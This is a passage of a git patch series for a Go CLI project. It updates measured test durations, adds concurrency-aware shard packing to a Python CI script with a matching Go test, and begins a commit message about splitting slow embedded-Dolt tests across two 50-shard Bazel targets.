114.91, - "TestEmbeddedCreateJSONEchoesSubSecondTimestamps": 32.3, - "TestEmbeddedCreateRepoFromNonBeadsCwd": 23.45, - "TestEmbeddedCreateRepoProxiedTargetError": 45.4, - "TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected": 45.93, - "TestEmbeddedCreateRepoRelativeUninitRefused": 24.13, - "TestEmbeddedCreateScalarAndRelationships": 191.35, - "TestEmbeddedCreateStorageClassBasic": 111.77, - "TestEmbeddedCreateStorageClassBatchAndMisc": 163.68, - "TestEmbeddedCreateStorageClassConflicts": 93.79, - "TestEmbeddedCreateWithGitRemote": 25.17, - "TestEmbeddedDefer": 92.03, - "TestEmbeddedDeferAutoWake": 79.42, - "TestEmbeddedDeferConcurrent": 121.28, - "TestEmbeddedDelete": 122.43, - "TestEmbeddedDeleteJSONDependencyErrorContract": 58.17, - "TestEmbeddedDepA": 175.73, - "TestEmbeddedDepAddWispSource": 58.14, - "TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead": 132.31, - "TestEmbeddedDepB": 176.75, - "TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate": 38.51, - "TestEmbeddedDepConcurrent": 150.67, - "TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge": 66.98, - "TestEmbeddedDepNoCycleCheck": 88.95, - "TestEmbeddedDiff": 56.44, - "TestEmbeddedDiffConcurrent": 68.69, - "TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead": 174.02, - "TestEmbeddedDoltBlockedAndCommit": 59.12, - "TestEmbeddedDoltConcurrent": 68.7, - "TestEmbeddedDoltRemoteAndPush": 136.04, - "TestEmbeddedDuplicate": 72.32, - "TestEmbeddedDuplicateConcurrent": 69.38, - "TestEmbeddedDuplicates": 173.68, - "TestEmbeddedDuplicatesConcurrent": 59.24, - "TestEmbeddedEpicCloseEligible": 149.47, - "TestEmbeddedEpicCloseEligibleReasonFlag": 169.79, - "TestEmbeddedEpicCloseEligibleReasonOutput": 113.2, - "TestEmbeddedEpicConcurrent": 142.99, - "TestEmbeddedEpicStatus": 95.11, - "TestEmbeddedExplicitHierarchicalParentEdges": 65.84, - "TestEmbeddedExportConcurrent": 44.93, - "TestEmbeddedExportFlags": 130.38, - "TestEmbeddedExportFormats": 115.36, - "TestEmbeddedExternalCapabilityReadyAfterShip": 63.55, - "TestEmbeddedExternalMutationPolicy": 116.06, - "TestEmbeddedFederationConcurrent": 31.34, - "TestEmbeddedFederationPeers": 146.53, - "TestEmbeddedFederationStatus": 133.93, - "TestEmbeddedFindDuplicates": 124.62, - "TestEmbeddedFindDuplicatesConcurrent": 70.27, - "TestEmbeddedFlatten": 161.6, - "TestEmbeddedFlattenConcurrent": 32.13, - "TestEmbeddedGC": 185.65, - "TestEmbeddedGCConcurrent": 40.17, - "TestEmbeddedGate": 181.85, - "TestEmbeddedGateConcurrent": 66.94, - "TestEmbeddedGateCreate": 123.16, - "TestEmbeddedGateListScoped": 38.87, - "TestEmbeddedGetDependencies": 59.85, - "TestEmbeddedGraph": 81.16, - "TestEmbeddedGraphConcurrent": 88.99, - "TestEmbeddedHistory": 109.52, - "TestEmbeddedHistoryConcurrent": 90.07, - "TestEmbeddedHooks": 27.53, - "TestEmbeddedHooksConcurrent": 23.45, - "TestEmbeddedHuman": 97.66, - "TestEmbeddedHumanConcurrent": 30.64, - "TestEmbeddedImportClosedChildWhoseParentWasDeleted": 21.26, - "TestEmbeddedImportConcurrent": 31.4, - "TestEmbeddedImportFromSources": 124.38, - "TestEmbeddedImportPromotedWispRoundtrip": 137.68, - "TestEmbeddedImportUpsertAndPrefixSync": 111.37, - "TestEmbeddedInfo": 41.38, - "TestEmbeddedInfoConcurrent": 39.05, - "TestEmbeddedInfoSuppressGitHooks": 33.35, - "TestEmbeddedInitA": 196.25, - "TestEmbeddedInitArtifactRouting": 22.67, - "TestEmbeddedInitB": 145.22, - "TestEmbeddedInitC": 23.58, - "TestEmbeddedInitConcurrent": 47.95, - "TestEmbeddedInitExplicitBeadsDirIsAuthoritative": 53.4, - "TestEmbeddedInitGitBootstrapRouting": 158.28, - "TestEmbeddedInitHooksRouting": 22.24, - "TestEmbeddedInitRoleRouting": 125.08, - "TestEmbeddedInitSelectedExcludeRouting": 153.06, - "TestEmbeddedKV": 48.98, - "TestEmbeddedKVConcurrent": 108.72, - "TestEmbeddedLabelAddRemove": 138.68, - "TestEmbeddedLabelConcurrent": 84.16, - "TestEmbeddedLabelEditReports": 138.9, - "TestEmbeddedLabelPropagateRename": 120.78, - "TestEmbeddedLint": 82.71, - "TestEmbeddedLintConcurrent": 75.72, - "TestEmbeddedListComments": 51.81, - "TestEmbeddedListConcurrent": 33.41, - "TestEmbeddedListFiltering": 239.7, - "TestEmbeddedListSearchAndOutput": 147.31, - "TestEmbeddedMaxRowsDepTreeAndDuplicates": 97.69, - "TestEmbeddedMaxRowsDoctorAndConfig": 90.88, - "TestEmbeddedMaxRowsGraph": 159.26, - "TestEmbeddedMaxRowsListBasic": 107.6, - "TestEmbeddedMaxRowsListLimitInteraction": 192.0, - "TestEmbeddedMaxRowsReady": 168.09, - "TestEmbeddedMaxRowsReadyMerge": 78.54, - "TestEmbeddedMemory": 130.17, - "TestEmbeddedMemoryConcurrent": 95.43, - "TestEmbeddedMigrate": 155.64, - "TestEmbeddedMigrateConcurrent": 32.07, - "TestEmbeddedOnboard": 25.75, - "TestEmbeddedOnboardConcurrent": 22.91, + "TestEmbeddedAdminBlocked": 17.82, + "TestEmbeddedAdminCompactReadOnlyAllowed": 2.5, + "TestEmbeddedAdminCompactTier2Honesty": 17.71, + "TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber": 18.77, + "TestEmbeddedAutoImportFallback_ConflictSkip_EmptyDBImportsAll": 11.63, + "TestEmbeddedAutoImportJSONLConcurrentWriter": 29.04, + "TestEmbeddedAutoImportJSONLNoExplicitCommit": 33.58, + "TestEmbeddedAutoImportJSONLSkipsNonEmpty": 8.05, + "TestEmbeddedBackup": 37.73, + "TestEmbeddedBackupConcurrent": 11.05, + "TestEmbeddedBlocked": 14.0, + "TestEmbeddedBlockedConcurrent": 28.59, + "TestEmbeddedBlockedLabelFilters": 21.34, + "TestEmbeddedBootstrap": 80.85, + "TestEmbeddedBootstrapConcurrent": 9.56, + "TestEmbeddedBranch": 25.91, + "TestEmbeddedBranchConcurrent": 27.48, + "TestEmbeddedChangeDirOverridesInheritedBeadsDir": 17.26, + "TestEmbeddedChildren": 71.69, + "TestEmbeddedChildrenConcurrent": 37.41, + "TestEmbeddedClaimPools": 19.91, + "TestEmbeddedCloseAlreadyClosed": 84.22, + "TestEmbeddedCloseBasic": 72.03, + "TestEmbeddedCloseConcurrent": 84.28, + "TestEmbeddedCloseGuardsAndEpics": 58.54, + "TestEmbeddedComments": 10.35, + "TestEmbeddedCommentsCLI": 50.71, + "TestEmbeddedCommentsCLIConcurrent": 29.98, + "TestEmbeddedCompact": 41.59, + "TestEmbeddedCompactConcurrent": 23.3, + "TestEmbeddedCompactMisdatedChild": 12.83, + "TestEmbeddedConfig": 44.69, + "TestEmbeddedConfigConcurrent": 82.94, + "TestEmbeddedConfigNoWorkspaceStoreFreeCommands": 0.95, + "TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout": 0.32, + "TestEmbeddedContext": 24.87, + "TestEmbeddedContextConcurrent": 13.71, + "TestEmbeddedContributorCreate": 87.03, + "TestEmbeddedCount": 59.63, + "TestEmbeddedCountConcurrent": 44.3, + "TestEmbeddedCountIncludeEphemeral": 24.09, + "TestEmbeddedCountIncludeInfra": 53.12, + "TestEmbeddedCreateCommitPending": 12.9, + "TestEmbeddedCreateConcurrent": 29.6, + "TestEmbeddedCreateCrossRepo": 43.14, + "TestEmbeddedCreateCrossRepoDryRunWithParent": 46.25, + "TestEmbeddedCreateCrossRepoUninit": 35.37, + "TestEmbeddedCreateCrossRepoWithParent": 41.61, + "TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget": 17.89, + "TestEmbeddedCreateDryRunDoesNotMigrate": 15.28, + "TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget": 3.09, + "TestEmbeddedCreateFormCommitsLabelOnlyCreate": 3.25, + "TestEmbeddedCreateGraphAndBulk": 16.55, + "TestEmbeddedCreateJSONEchoesSubSecondTimestamps": 8.31, + "TestEmbeddedCreateRepoFromNonBeadsCwd": 12.31, + "TestEmbeddedCreateRepoProxiedTargetError": 21.86, + "TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected": 56.2, + "TestEmbeddedCreateRepoRelativeUninitRefused": 4.97, + "TestEmbeddedCreateScalarAndRelationships": 57.97, + "TestEmbeddedCreateStorageClassBasic": 11.92, + "TestEmbeddedCreateStorageClassBatchAndMisc": 45.95, + "TestEmbeddedCreateStorageClassConflicts": 41.81, + "TestEmbeddedCreateWithGitRemote": 14.38, + "TestEmbeddedDefer": 38.48, + "TestEmbeddedDeferAutoWake": 48.29, + "TestEmbeddedDeferConcurrent": 63.55, + "TestEmbeddedDelete": 81.25, + "TestEmbeddedDeleteJSONDependencyErrorContract": 42.77, + "TestEmbeddedDepA": 95.56, + "TestEmbeddedDepAddWispSource": 28.54, + "TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead": 50.02, + "TestEmbeddedDepB": 94.49, + "TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate": 30.7, + "TestEmbeddedDepConcurrent": 75.13, + "TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge": 66.92, + "TestEmbeddedDepNoCycleCheck": 58.88, + "TestEmbeddedDiff": 41.65, + "TestEmbeddedDiffConcurrent": 49.97, + "TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead": 44.86, + "TestEmbeddedDoltBlockedAndCommit": 23.54, + "TestEmbeddedDoltConcurrent": 35.01, + "TestEmbeddedDoltRemoteAndPush": 18.79, + "TestEmbeddedDuplicate": 50.93, + "TestEmbeddedDuplicateConcurrent": 43.52, + "TestEmbeddedDuplicates": 67.03, + "TestEmbeddedDuplicatesConcurrent": 41.37, + "TestEmbeddedEpicCloseEligible": 69.55, + "TestEmbeddedEpicCloseEligibleReasonFlag": 29.56, + "TestEmbeddedEpicCloseEligibleReasonOutput": 41.91, + "TestEmbeddedEpicConcurrent": 71.22, + "TestEmbeddedEpicStatus": 44.06, + "TestEmbeddedExplicitHierarchicalParentEdges": 42.56, + "TestEmbeddedExportConcurrent": 21.66, + "TestEmbeddedExportFlags": 33.17, + "TestEmbeddedExportFormats": 40.58, + "TestEmbeddedExternalCapabilityReadyAfterShip": 37.72, + "TestEmbeddedExternalMutationPolicy": 64.3, + "TestEmbeddedFederationConcurrent": 25.94, + "TestEmbeddedFederationPeers": 38.08, + "TestEmbeddedFederationStatus": 27.84, + "TestEmbeddedFindDuplicates": 46.3, + "TestEmbeddedFindDuplicatesConcurrent": 14.36, + "TestEmbeddedFlatten": 31.29, + "TestEmbeddedFlattenConcurrent": 23.66, + "TestEmbeddedGC": 73.04, + "TestEmbeddedGCConcurrent": 21.52, + "TestEmbeddedGCConditionalMatcherDecode": 47.53, + "TestEmbeddedGate": 82.88, + "TestEmbeddedGateConcurrent": 49.5, + "TestEmbeddedGateCreate": 106.42, + "TestEmbeddedGateInheritsDownParentChain": 16.67, + "TestEmbeddedGateListScoped": 24.41, + "TestEmbeddedGatedRendering": 35.48, + "TestEmbeddedGetDependencies": 32.27, + "TestEmbeddedGraph": 61.4, + "TestEmbeddedGraphConcurrent": 21.38, + "TestEmbeddedHistory": 51.11, + "TestEmbeddedHistoryConcurrent": 77.78, + "TestEmbeddedHooks": 12.87, + "TestEmbeddedHooksConcurrent": 9.27, + "TestEmbeddedHuman": 66.13, + "TestEmbeddedHumanConcurrent": 9.72, + "TestEmbeddedIfRevisionReopenGuardDirect": 25.66, + "TestEmbeddedImportClosedChildWhoseParentWasDeleted": 27.28, + "TestEmbeddedImportConcurrent": 9.73, + "TestEmbeddedImportFromSources": 34.15, + "TestEmbeddedImportPromotedWispRoundtrip": 47.53, + "TestEmbeddedImportUpsertAndPrefixSync": 30.33, + "TestEmbeddedInfo": 17.36, + "TestEmbeddedInfoConcurrent": 33.86, + "TestEmbeddedInfoSuppressGitHooks": 9.64, + "TestEmbeddedInitA": 130.47, + "TestEmbeddedInitArtifactRouting": 20.34, + "TestEmbeddedInitB": 74.62, + "TestEmbeddedInitC": 32.69, + "TestEmbeddedInitConcurrent": 41.45, + "TestEmbeddedInitExplicitBeadsDirIsAuthoritative": 52.89, + "TestEmbeddedInitGitBootstrapRouting": 85.16, + "TestEmbeddedInitHooksRouting": 20.7, + "TestEmbeddedInitRoleRouting": 87.59, + "TestEmbeddedInitSelectedExcludeRoutingFork": 40.08, + "TestEmbeddedInitSelectedExcludeRoutingStealth": 65.73, + "TestEmbeddedKV": 12.62, + "TestEmbeddedKVConcurrent": 89.53, + "TestEmbeddedLabelAddRemove": 75.79, + "TestEmbeddedLabelConcurrent": 73.39, + "TestEmbeddedLabelEditReports": 68.91, + "TestEmbeddedLabelPropagateRename": 62.05, + "TestEmbeddedLint": 48.55, + "TestEmbeddedLintConcurrent": 44.72, + "TestEmbeddedListComments": 33.84, + "TestEmbeddedListConcurrent": 18.84, + "TestEmbeddedListFiltering": 87.75, + "TestEmbeddedListSearchAndOutput": 69.79, + "TestEmbeddedMaxRowsDepTreeAndDuplicates": 61.67, + "TestEmbeddedMaxRowsDoctorAndConfig": 30.57, + "TestEmbeddedMaxRowsGraph": 57.33, + "TestEmbeddedMaxRowsListBasic": 72.66, + "TestEmbeddedMaxRowsListLimitInteraction": 97.48, + "TestEmbeddedMaxRowsReady": 37.02, + "TestEmbeddedMaxRowsReadyMerge": 38.06, + "TestEmbeddedMemory": 57.23, + "TestEmbeddedMemoryConcurrent": 61.83, + "TestEmbeddedMemoryCorpusBudget": 17.38, + "TestEmbeddedMigrate": 34.92, + "TestEmbeddedMigrateConcurrent": 12.19, + "TestEmbeddedOnboard": 10.21, + "TestEmbeddedOnboardConcurrent": 19.27, "TestEmbeddedOpen_EmptyDatabaseRejected": 0.0, - "TestEmbeddedOrphans": 40.45, - "TestEmbeddedOrphansConcurrent": 65.99, - "TestEmbeddedPreviewDoesNotConsumeVersionMarker": 29.99, - "TestEmbeddedPrime": 32.69, - "TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget": 4.13, - "TestEmbeddedPrimeChangeDirPrimesTarget": 6.83, - "TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget": 5.69, - "TestEmbeddedPrimeConcurrent": 55.99, - "TestEmbeddedPromote": 24.64, - "TestEmbeddedPromoteCLI": 64.87, - "TestEmbeddedPromoteCLIConcurrent": 67.99, - "TestEmbeddedPruneDryRunAndFilters": 155.68, - "TestEmbeddedPruneSafetyAndScope": 163.85, - "TestEmbeddedPurgeBasics": 89.31, - "TestEmbeddedPurgeConcurrent": 38.42, - "TestEmbeddedPurgeFiltered": 131.05, - "TestEmbeddedPurgeWispsPlaneRetention": 119.54, - "TestEmbeddedQuery": 69.55, - "TestEmbeddedQueryConcurrent": 79.23, - "TestEmbeddedQuick": 108.95, - "TestEmbeddedQuickConcurrent": 52.9, - "TestEmbeddedQuickstart": 21.7, - "TestEmbeddedQuickstartConcurrent": 24.95, - "TestEmbeddedQuietFlagSuppressesSuccessOutput": 37.91, - "TestEmbeddedReady": 148.56, - "TestEmbeddedReadyClaimConcurrent": 37.22, - "TestEmbeddedReadyConcurrent": 39.82, - "TestEmbeddedRenamePrefixBasic": 111.8, - "TestEmbeddedRenamePrefixConcurrent": 30.67, - "TestEmbeddedRenamePrefixEdgeCases": 81.14, - "TestEmbeddedReopen": 105.91, - "TestEmbeddedReopenConcurrent": 112.14, - "TestEmbeddedRestore": 137.93, + "TestEmbeddedOrphans": 25.62, + "TestEmbeddedOrphansConcurrent": 31.05, + "TestEmbeddedPreviewDoesNotConsumeVersionMarker": 13.76, + "TestEmbeddedPrime": 17.08, + "TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget": 0.87, + "TestEmbeddedPrimeChangeDirPrimesTarget": 0.95, + "TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget": 0.85, + "TestEmbeddedPrimeConcurrent": 22.81, + "TestEmbeddedPromote": 13.89, + "TestEmbeddedPromoteCLI": 48.09, + "TestEmbeddedPromoteCLIConcurrent": 52.29, + "TestEmbeddedPruneDryRunAndFilters": 41.08, + "TestEmbeddedPruneSafetyAndScope": 63.09, + "TestEmbeddedPurgeBasics": 33.45, + "TestEmbeddedPurgeConcurrent": 28.04, + "TestEmbeddedPurgeFiltered": 40.47, + "TestEmbeddedPurgeWispsPlaneRetention": 76.18, + "TestEmbeddedQuery": 40.0, + "TestEmbeddedQueryConcurrent": 45.96, + "TestEmbeddedQuick": 51.42, + "TestEmbeddedQuickConcurrent": 61.4, + "TestEmbeddedQuickstart": 9.7, + "TestEmbeddedQuickstartConcurrent": 15.87, + "TestEmbeddedQuietFlagSuppressesSuccessOutput": 31.54, + "TestEmbeddedReadOnlyCommandsSpawnNoGit": 33.33, + "TestEmbeddedReady": 71.28, + "TestEmbeddedReadyClaimConcurrent": 26.71, + "TestEmbeddedReadyConcurrent": 32.41, + "TestEmbeddedReclaimRunsTheLeaseReclaimerRole": 26.56, + "TestEmbeddedRenamePrefixBasic": 46.34, + "TestEmbeddedRenamePrefixConcurrent": 18.87, + "TestEmbeddedRenamePrefixEdgeCases": 31.27, + "TestEmbeddedReopen": 59.7, + "TestEmbeddedReopenConcurrent": 76.86, + "TestEmbeddedRestore": 35.94, "TestEmbeddedRestoreConcurrent": 0.0, - "TestEmbeddedRoutedMutatingSiblingAssignTagDep": 156.88, - "TestEmbeddedRoutedMutatingSiblingDeleteClose": 101.7, - "TestEmbeddedRoutedSiblingWritesCommitTargetHead": 191.64, - "TestEmbeddedSearch": 118.78, - "TestEmbeddedSearchConcurrent": 98.05, - "TestEmbeddedSetup": 52.64, - "TestEmbeddedSetupConcurrent": 22.64, - "TestEmbeddedShip": 71.62, - "TestEmbeddedShipConcurrent": 101.01, - "TestEmbeddedShowBasicsAndJSON": 118.13, - "TestEmbeddedShowConcurrent": 150.5, - "TestEmbeddedShowDetailAndCurrent": 135.15, - "TestEmbeddedShowUnresolvableDeps": 59.52, - "TestEmbeddedSquashWispMoleculeClearsRootEphemeral": 23.37, - "TestEmbeddedStale": 90.45, - "TestEmbeddedStaleConcurrent": 79.59, - "TestEmbeddedStaleLabelFilters": 84.1, - "TestEmbeddedState": 66.22, - "TestEmbeddedStateConcurrent": 45.78, - "TestEmbeddedStatus": 47.37, - "TestEmbeddedStatusConcurrent": 79.04, - "TestEmbeddedSupersede": 76.14, - "TestEmbeddedSupersedeConcurrent": 72.31, - "TestEmbeddedSwarm": 172.12, - "TestEmbeddedSwarmConcurrent": 71.02, - "TestEmbeddedTodo": 74.74, - "TestEmbeddedTodoConcurrent": 30.6, - "TestEmbeddedTypes": 46.4, - "TestEmbeddedTypesAgreeWithCreate": 109.4, - "TestEmbeddedTypesConcurrent": 29.96, - "TestEmbeddedUnclaim": 130.59, - "TestEmbeddedUndefer": 122.4, - "TestEmbeddedUndeferConcurrent": 121.9, - "TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead": 28.26, - "TestEmbeddedUpdateConcurrent": 180.79, - "TestEmbeddedUpdateFields": 142.3, - "TestEmbeddedUpdateLifecycle": 150.21, - "TestEmbeddedUpdateRoutedStoreCommitsTargetHead": 51.5, - "TestEmbeddedVCCommitVariantsAndMerge": 105.56, - "TestEmbeddedVCConcurrent": 56.84, - "TestEmbeddedVCStatusAndCommit": 126.19, - "TestEmbeddedVersion": 1.4, - "TestEmbeddedVersionConcurrent": 1.48, - "TestEmbeddedWhere": 55.16, - "TestEmbeddedWhereConcurrent": 27.1 + "TestEmbeddedRoutedMutatingSiblingAssignTagDep": 105.3, + "TestEmbeddedRoutedMutatingSiblingDeleteClose": 74.67, + "TestEmbeddedRoutedSiblingWritesCommitTargetHead": 83.5, + "TestEmbeddedSearch": 65.75, + "TestEmbeddedSearchConcurrent": 61.47, + "TestEmbeddedSetup": 19.29, + "TestEmbeddedSetupConcurrent": 16.88, + "TestEmbeddedShip": 47.53, + "TestEmbeddedShipConcurrent": 68.2, + "TestEmbeddedShowBasicsAndJSON": 55.39, + "TestEmbeddedShowConcurrent": 77.92, + "TestEmbeddedShowDetailAndCurrent": 82.5, + "TestEmbeddedShowUnresolvableDeps": 56.8, + "TestEmbeddedSquashWispMoleculeClearsRootEphemeral": 26.27, + "TestEmbeddedStale": 63.39, + "TestEmbeddedStaleConcurrent": 46.3, + "TestEmbeddedStaleLabelFilters": 26.04, + "TestEmbeddedState": 55.29, + "TestEmbeddedStateConcurrent": 42.2, + "TestEmbeddedStatus": 29.52, + "TestEmbeddedStatusConcurrent": 53.34, + "TestEmbeddedSupersede": 46.47, + "TestEmbeddedSupersedeConcurrent": 70.75, + "TestEmbeddedSwarm": 97.32, + "TestEmbeddedSwarmConcurrent": 49.07, + "TestEmbeddedTodo": 49.91, + "TestEmbeddedTodoConcurrent": 19.93, + "TestEmbeddedTypes": 22.43, + "TestEmbeddedTypesAgreeWithCreate": 37.24, + "TestEmbeddedTypesConcurrent": 20.36, + "TestEmbeddedUnclaim": 78.85, + "TestEmbeddedUndefer": 52.25, + "TestEmbeddedUndeferConcurrent": 58.19, + "TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead": 14.69, + "TestEmbeddedUpdateConcurrent": 105.17, + "TestEmbeddedUpdateFields": 77.51, + "TestEmbeddedUpdateLifecycle": 73.02, + "TestEmbeddedUpdateRoutedStoreCommitsTargetHead": 45.79, + "TestEmbeddedVCCommitVariantsAndMerge": 14.78, + "TestEmbeddedVCConcurrent": 41.36, + "TestEmbeddedVCStatusAndCommit": 44.06, + "TestEmbeddedVersion": 0.35, + "TestEmbeddedVersionConcurrent": 0.53, + "TestEmbeddedWhere": 11.55, + "TestEmbeddedWhereConcurrent": 8.26 } } diff --git a/scripts/ci/gen_embedded_cmd_shard_manifest.py b/scripts/ci/gen_embedded_cmd_shard_manifest.py index a93255eff..4087338e6 100755 --- a/scripts/ci/gen_embedded_cmd_shard_manifest.py +++ b/scripts/ci/gen_embedded_cmd_shard_manifest.py @@ -18,7 +18,9 @@ docstring for the full rationale this one shares): scripts/ci/embedded_cmd_test_durations.json (see that file's header for provenance). A function missing from that file — a test added since it was last captured — falls back to its inits cost times the file's - "seconds_per_init_fallback" ratio. + "seconds_per_init_fallback" ratio. A from-scratch pack models the shard + process (pack_concurrent): functions without a top-level t.Parallel() + run one after another, the rest share -test.parallel=4 slots. This file's existing 20-shard block (hand-assigned, round-robin; see its own header) is the FROZEN block PR Risk's and main.yml's legacy fork/push jobs @@ -47,12 +49,15 @@ import sys sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _embedded_shard_manifest_lib import ( # noqa: E402 - check_coverage, incremental_pack, pack, read_assignments, write_block, + check_coverage, incremental_pack, pack, pack_concurrent, read_assignments, write_block, ) default_manifest_path = '.github/scripts/embedded-cmd-test-shards.txt' durations_filename = 'embedded_cmd_test_durations.json' default_total_shards = 20 +# .bazelrc's test:embedded --test_arg=-test.parallel=4: how many t.Parallel +# top-level tests one shard's process runs at once (--weights=duration). +test_parallelism = 4 func_re = re.compile(r'^func (TestEmbedded[A-Za-z0-9_]+)\(') @@ -78,6 +83,27 @@ def discover_inits_cost(): return costs +def discover_serial(): + """Return the TestEmbedded* functions whose body does not call + t.Parallel() directly: Go runs them one at a time, before the parallel + ones (a test that reaches t.Parallel only through a helper counts as + serial, which overestimates its shard).""" + serial = set() + for path in glob.glob('cmd/bd/*_embedded_test.go'): + with open(path) as fh: + lines = fh.readlines() + cur, parallel = None, False + for ln in lines + ['func \n']: + if ln.startswith('func '): + if cur and not parallel: + serial.add(cur) + m = func_re.match(ln) + cur, parallel = (m.group(1) if m else None), False + elif cur and ln.rstrip('\n') == '\tt.Parallel()': + parallel = True + return serial + + def duration_cost(inits): """Return {test_name: seconds}, from the committed duration capture, falling back to inits * seconds_per_init_fallback for an undated test.""" @@ -115,9 +141,11 @@ def render(total, shards, weights): else: out.append(f'# {total}-shard split for the Bazel-only embedded-Dolt cmd tier') out.append('# (bazel-embedded in .github/workflows/bazel.yml), bin-packed') - out.append('# longest-processing-time-first by measured wall-time from') + out.append('# longest-first by measured wall-time from') out.append(f'# scripts/ci/{durations_filename} (see that file for provenance') - out.append('# and its "relative weight, not absolute SLA" caveat).') + out.append('# and its "relative weight, not absolute SLA" caveat) onto the shard') + out.append('# whose estimated wall time grows least: serial tests (no top-level') + out.append(f'# t.Parallel) add up, parallel ones share -test.parallel={test_parallelism}.') out.append(f'# Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py {total}') out.append('# --weights=duration --write after adding, splitting or removing') out.append('# TestEmbedded* functions in cmd/bd/*_embedded_test.go. --write is') @@ -180,6 +208,8 @@ def main(): existing = None if args.repack else read_assignments(args.manifest, args.total_shards) if existing: shards, loads = incremental_pack(costs, args.total_shards, existing) + elif args.weights == 'duration': + shards, loads = pack_concurrent(costs, args.total_shards, discover_serial(), test_parallelism) else: shards, loads = pack(costs, args.total_shards) out = render(args.total_shards, shards, args.weights) diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index a5853126f..52ff1b463 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -806,7 +806,12 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { want := map[string]target{ "//cmd/bd:bd_embedded_test": { []string{"$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, - map[string]string{"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)"}, + map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + // bdInit's schema template and the race runtime's exit sleep: + // neither selects or skips a test. + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "GORACE": "atexit_sleep_ms=0", + }, }, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": { []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)", "-test.timeout=19m"}, diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index c0c61c9aa..134fbf905 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -43,6 +43,35 @@ func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { } } +// TestPackConcurrentModelsSerialAndParallelTests pins +// _embedded_shard_manifest_lib.py's pack_concurrent: a serial test (no +// top-level t.Parallel) holds its shard alone for its whole duration, while +// parallel tests share -test.parallel slots, so four 30s parallel tests fit +// beside a 90s one in the same wall time. Plain LPT would put the serial +// test with a parallel one and split the rest evenly by summed duration. +func TestPackConcurrentModelsSerialAndParallelTests(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + const script = ` +import sys +sys.path.insert(0, 'scripts/ci') +from _embedded_shard_manifest_lib import pack_concurrent +costs = {'serial': 100, 'a': 90, 'b': 80, 'c': 30, 'd': 30, 'e': 30, 'f': 30} +shards, walls = pack_concurrent(costs, 2, {'serial'}, 4) +print(sorted(map(sorted, shards)), walls) +` + cmd := exec.Command(python, "-c", script) + cmd.Dir = root + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("pack_concurrent: %v\n%s", err, out) + } + const want = "[['a', 'b', 'c', 'd', 'e', 'f'], ['serial']] [100.0, 90]\n" + if string(out) != want { + t.Errorf("pack_concurrent = %q, want %q", out, want) + } +} + // TestStorageEmbeddedShardManifestGeneratorNotStale mirrors // TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's // Bazel-only 20-shard block; see that test's doc comment. From 0d865460b19acd21e3a0924f237fd81079dd0256 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 20:30:52 +0000 Subject: [PATCH 083/213] ci(bazel): split the slow embedded cmd tests and run the cmd block as 2x50 shards (#7438) //cmd/bd:bd_embedded_test was the embedded lane's floor: at Bazel's 50-shard cap per rule, each shard's wall time was its slowest top-level test, and ~40 tests ran 65-130s on rbe-west. - 34 slow TestEmbedded* functions are split into 89 smaller top-level functions. Subtests and table cases are moved verbatim: no assertion, flag or data changes, the same t.Run set per file, the same skip guard and t.Parallel. Subtests that read state earlier ones left stay together, in order; each new function repeats the shared setup it needs. - The manifest's cmd/bd block is now 100 shards, run by two targets: bd_embedded_test (shards 1-50) and the new bd_embedded_part2_test (51-100), through go_test_manifest_shard.sh --shard-offset/--shard-total. check_shard_coverage.py takes SHARDS@OFFSET/TOTAL and fails unless the targets' ranges tile the block exactly once, so every test runs in exactly one shard of one target; the policy tests read both rules' ranges from cmd/bd/BUILD.bazel. - Durations re-measured on rbe-west with the split tests and repacked. The frozen legacy 20-shard block drops the renamed names (no workflow reads it; new names hash-distribute as before). Not split: the *Concurrent stress tests (their bd subprocesses queue on the workspace's single writer lock: TestEmbeddedUpdateConcurrent is ~100 serialized bd commands), TestEmbeddedPurgeWispsPlaneRetention (one stateful 